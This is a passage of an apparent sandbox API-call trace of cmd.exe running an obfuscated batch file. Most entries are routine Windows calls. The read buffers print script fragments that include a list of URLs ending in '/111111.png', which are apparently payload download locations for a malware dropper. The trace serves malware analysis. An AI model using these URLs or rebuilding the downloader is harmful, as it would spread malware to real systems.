_String2="MOVE") returned 10 [0233.034] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0233.034] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0233.034] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0233.034] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0233.034] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0233.034] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0233.034] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0233.034] _wcsicmp (_String1="Windows", _String2="FOR") returned 17 [0233.034] _wcsicmp (_String1="Windows", _String2="IF") returned 14 [0233.034] _wcsicmp (_String1="Windows", _String2="REM") returned 5 [0233.034] ??_V@YAXPEAX@Z () returned 0x1 [0233.035] GetProcessHeap () returned 0x20b0f920000 [0233.035] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xffde) returned 0x20b0f957ff0 [0233.035] GetProcessHeap () returned 0x20b0f920000 [0233.035] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xba) returned 0x20b0f9578c0 [0233.035] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0233.035] malloc (_Size=0xffce) returned 0x20b0fa80900 [0233.035] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0233.085] GetProcessHeap () returned 0x20b0f920000 [0233.085] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f967fe0 [0233.086] SetErrorMode (uMode=0x0) returned 0x0 [0233.086] SetErrorMode (uMode=0x1) returned 0x0 [0233.086] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f967ff0, lpFilePart=0x9cb92fe400 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92fe400*="system32") returned 0x13 [0233.086] SetErrorMode (uMode=0x0) returned 0x1 [0233.086] GetProcessHeap () returned 0x20b0f920000 [0233.086] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f967fe0, Size=0x48) returned 0x20b0f967fe0 [0233.086] GetProcessHeap () returned 0x20b0f920000 [0233.086] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f967fe0) returned 0x48 [0233.086] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0233.086] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0233.086] GetProcessHeap () returned 0x20b0f920000 [0233.086] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f947a50 [0233.086] GetProcessHeap () returned 0x20b0f920000 [0233.086] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f9255e0 [0233.086] GetProcessHeap () returned 0x20b0f920000 [0233.086] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f9255e0, Size=0x1b6) returned 0x20b0f9255e0 [0233.086] GetProcessHeap () returned 0x20b0f920000 [0233.086] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f9255e0) returned 0x1b6 [0233.087] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0233.087] GetProcessHeap () returned 0x20b0f920000 [0233.087] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f946fb0 [0233.087] GetProcessHeap () returned 0x20b0f920000 [0233.087] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f946fb0, Size=0x7e) returned 0x20b0f956910 [0233.087] GetProcessHeap () returned 0x20b0f920000 [0233.087] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f956910) returned 0x7e [0233.087] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.087] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92d1b0 [0233.087] FindClose (in: hFindFile=0x20b0f92d1b0 | out: hFindFile=0x20b0f92d1b0) returned 1 [0233.087] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.088] GetLastError () returned 0x2 [0233.088] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.088] GetLastError () returned 0x2 [0233.088] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.088] GetLastError () returned 0x2 [0233.088] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.088] GetLastError () returned 0x2 [0233.088] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.089] GetLastError () returned 0x2 [0233.089] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.089] GetLastError () returned 0x2 [0233.089] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.089] GetLastError () returned 0x2 [0233.089] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.089] GetLastError () returned 0x2 [0233.089] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.090] GetLastError () returned 0x2 [0233.090] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.090] GetLastError () returned 0x2 [0233.090] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.090] GetLastError () returned 0x2 [0233.090] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.090] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.091] GetLastError () returned 0x2 [0233.091] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.091] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92d270 [0233.091] FindClose (in: hFindFile=0x20b0f92d270 | out: hFindFile=0x20b0f92d270) returned 1 [0233.091] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.091] GetLastError () returned 0x2 [0233.091] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.091] GetLastError () returned 0x2 [0233.091] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.092] GetLastError () returned 0x2 [0233.092] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.092] GetLastError () returned 0x2 [0233.092] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.092] GetLastError () returned 0x2 [0233.092] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.092] GetLastError () returned 0x2 [0233.092] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.093] GetLastError () returned 0x2 [0233.093] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.093] GetLastError () returned 0x2 [0233.093] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.093] GetLastError () returned 0x2 [0233.093] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.094] GetLastError () returned 0x2 [0233.094] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.094] GetLastError () returned 0x2 [0233.094] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.094] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.094] GetLastError () returned 0x2 [0233.094] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.094] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.094] GetLastError () returned 0x2 [0233.094] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.095] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.095] GetLastError () returned 0x2 [0233.095] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.095] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.095] GetLastError () returned 0x2 [0233.095] ??_V@YAXPEAX@Z () returned 0x1 [0233.096] _get_osfhandle (_FileHandle=2) returned 0x54 [0233.096] GetFileType (hFile=0x54) returned 0x2 [0233.096] GetStdHandle (nStdHandle=0xfffffff4) returned 0x54 [0233.096] GetConsoleMode (in: hConsoleHandle=0x54, lpMode=0x9cb92fe5c8 | out: lpMode=0x9cb92fe5c8) returned 1 [0233.099] _get_osfhandle (_FileHandle=2) returned 0x54 [0233.099] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x54, lpConsoleScreenBufferInfo=0x9cb92fe600 | out: lpConsoleScreenBufferInfo=0x9cb92fe600) returned 1 [0233.099] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0233.099] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x9cb92fe6a0 | out: lpBuffer="'Windows' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x62 [0233.099] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x9cb92fe5f0, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fe5f0*=0x62) returned 1 [0233.105] ??_V@YAXPEAX@Z () returned 0x1 [0233.106] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.106] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x7) returned 1 [0233.107] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.107] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff6e2e6fc08 | out: lpMode=0x7ff6e2e6fc08) returned 1 [0233.107] _get_osfhandle (_FileHandle=0) returned 0x4c [0233.107] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff6e2e6fc0c | out: lpMode=0x7ff6e2e6fc0c) returned 1 [0233.107] SetConsoleInputExeNameW () returned 0x1 [0233.107] GetConsoleOutputCP () returned 0x1b5 [0233.108] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6e2e6fbb0 | out: lpCPInfo=0x7ff6e2e6fbb0) returned 1 [0233.108] SetThreadUILanguage (LangId=0x0) returned 0x409 [0233.108] ??_V@YAXPEAX@Z () returned 0x1 [0233.109] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c [0233.110] _open_osfhandle (_OSFileHandle=0x9c, _Flags=8) returned 3 [0233.110] _get_osfhandle (_FileHandle=3) returned 0x9c [0233.110] SetFilePointer (in: hFile=0x9c, lDistanceToMove=5280, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x14a0 [0233.110] GetProcessHeap () returned 0x20b0f920000 [0233.110] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956910) returned 1 [0233.110] GetProcessHeap () returned 0x20b0f920000 [0233.110] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9255e0) returned 1 [0233.110] GetProcessHeap () returned 0x20b0f920000 [0233.110] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f947a50) returned 1 [0233.110] GetProcessHeap () returned 0x20b0f920000 [0233.110] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f967fe0) returned 1 [0233.110] GetProcessHeap () returned 0x20b0f920000 [0233.110] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9578c0) returned 1 [0233.110] GetProcessHeap () returned 0x20b0f920000 [0233.110] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957ff0) returned 1 [0233.110] GetProcessHeap () returned 0x20b0f920000 [0233.110] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956880) returned 1 [0233.110] GetProcessHeap () returned 0x20b0f920000 [0233.110] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d430) returned 1 [0233.110] GetProcessHeap () returned 0x20b0f920000 [0233.110] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f947c10) returned 1 [0233.110] GetProcessHeap () returned 0x20b0f920000 [0233.110] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957f90) returned 1 [0233.110] GetProcessHeap () returned 0x20b0f920000 [0233.110] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9259d0) returned 1 [0233.110] GetProcessHeap () returned 0x20b0f920000 [0233.110] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956f50) returned 1 [0233.110] GetProcessHeap () returned 0x20b0f920000 [0233.111] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e4d0) returned 1 [0233.112] _get_osfhandle (_FileHandle=3) returned 0x9c [0233.112] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14a0 [0233.112] ReadFile (in: hFile=0x9c, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x315, lpOverlapped=0x0) returned 1 [0233.112] SetFilePointer (in: hFile=0x9c, lDistanceToMove=5289, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x14a9 [0233.112] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=9, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" \r\ndows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \r\nta, 7, ...\r\ntp://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 9 [0233.112] _get_osfhandle (_FileHandle=3) returned 0x9c [0233.112] GetFileType (hFile=0x9c) returned 0x1 [0233.112] _get_osfhandle (_FileHandle=3) returned 0x9c [0233.112] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14a9 [0233.112] GetProcessHeap () returned 0x20b0f920000 [0233.112] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94b230 [0233.113] GetProcessHeap () returned 0x20b0f920000 [0233.113] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94b230) returned 1 [0233.114] _tell (_FileHandle=3) returned 5289 [0233.114] _close (_FileHandle=3) returned 0 [0233.115] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c [0233.115] _open_osfhandle (_OSFileHandle=0x9c, _Flags=8) returned 3 [0233.115] _get_osfhandle (_FileHandle=3) returned 0x9c [0233.115] SetFilePointer (in: hFile=0x9c, lDistanceToMove=5289, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x14a9 [0233.115] _get_osfhandle (_FileHandle=3) returned 0x9c [0233.115] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14a9 [0233.115] ReadFile (in: hFile=0x9c, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x30c, lpOverlapped=0x0) returned 1 [0233.115] SetFilePointer (in: hFile=0x9c, lDistanceToMove=5345, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x14e1 [0233.115] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=56, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" XP and is listed separately on this page. Synta \r\nSyntax in Windows Vista, 7, ...3 \r\nta, 7, ...\r\ntp://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 56 [0233.116] _get_osfhandle (_FileHandle=3) returned 0x9c [0233.116] GetFileType (hFile=0x9c) returned 0x1 [0233.116] _get_osfhandle (_FileHandle=3) returned 0x9c [0233.116] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14e1 [0233.116] GetProcessHeap () returned 0x20b0f920000 [0233.116] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94b230 [0233.116] GetProcessHeap () returned 0x20b0f920000 [0233.116] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94b230) returned 1 [0233.116] _wcsicmp (_String1="XP", _String2=")") returned 79 [0233.116] _wcsicmp (_String1="FOR", _String2="XP") returned -18 [0233.116] _wcsicmp (_String1="FOR/?", _String2="XP") returned -18 [0233.116] _wcsicmp (_String1="IF", _String2="XP") returned -15 [0233.117] _wcsicmp (_String1="IF/?", _String2="XP") returned -15 [0233.117] _wcsicmp (_String1="REM", _String2="XP") returned -6 [0233.117] _wcsicmp (_String1="REM/?", _String2="XP") returned -6 [0233.117] GetProcessHeap () returned 0x20b0f920000 [0233.117] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f92e4d0 [0233.117] GetProcessHeap () returned 0x20b0f920000 [0233.117] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x16) returned 0x20b0f92a0d0 [0233.117] GetProcessHeap () returned 0x20b0f920000 [0233.117] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x76) returned 0x20b0f94a5f0 [0233.117] _tell (_FileHandle=3) returned 5345 [0233.117] _close (_FileHandle=3) returned 0 [0233.117] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92feb68 | out: _Buffer="\r\n") returned 2 [0233.117] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.117] GetFileType (hFile=0x50) returned 0x2 [0233.117] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0233.117] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feaf8 | out: lpMode=0x9cb92feaf8) returned 1 [0233.119] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.119] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92feb38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92feb38*=0x2) returned 1 [0233.124] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20b0fa20080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0233.124] _vsnwprintf (in: _Buffer=0x20b0fa50160, _BufferCount=0x83e5, _Format="%s", _ArgList=0x9cb92feb78 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0233.124] _vsnwprintf (in: _Buffer=0x20b0fa50186, _BufferCount=0x83d2, _Format="%c", _ArgList=0x9cb92feb78 | out: _Buffer=">") returned 1 [0233.124] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.124] GetFileType (hFile=0x50) returned 0x2 [0233.124] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0233.124] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feb28 | out: lpMode=0x9cb92feb28) returned 1 [0233.125] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.125] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0fa50160*, nNumberOfCharsToWrite=0x14, lpNumberOfCharsWritten=0x9cb92feb68, lpReserved=0x0 | out: lpBuffer=0x20b0fa50160*, lpNumberOfCharsWritten=0x9cb92feb68*=0x14) returned 1 [0233.125] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.125] GetFileType (hFile=0x50) returned 0x2 [0233.125] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0233.125] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0233.126] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.126] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0f92a0e0*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x20b0f92a0e0*, lpNumberOfCharsWritten=0x9cb92fee38*=0x2) 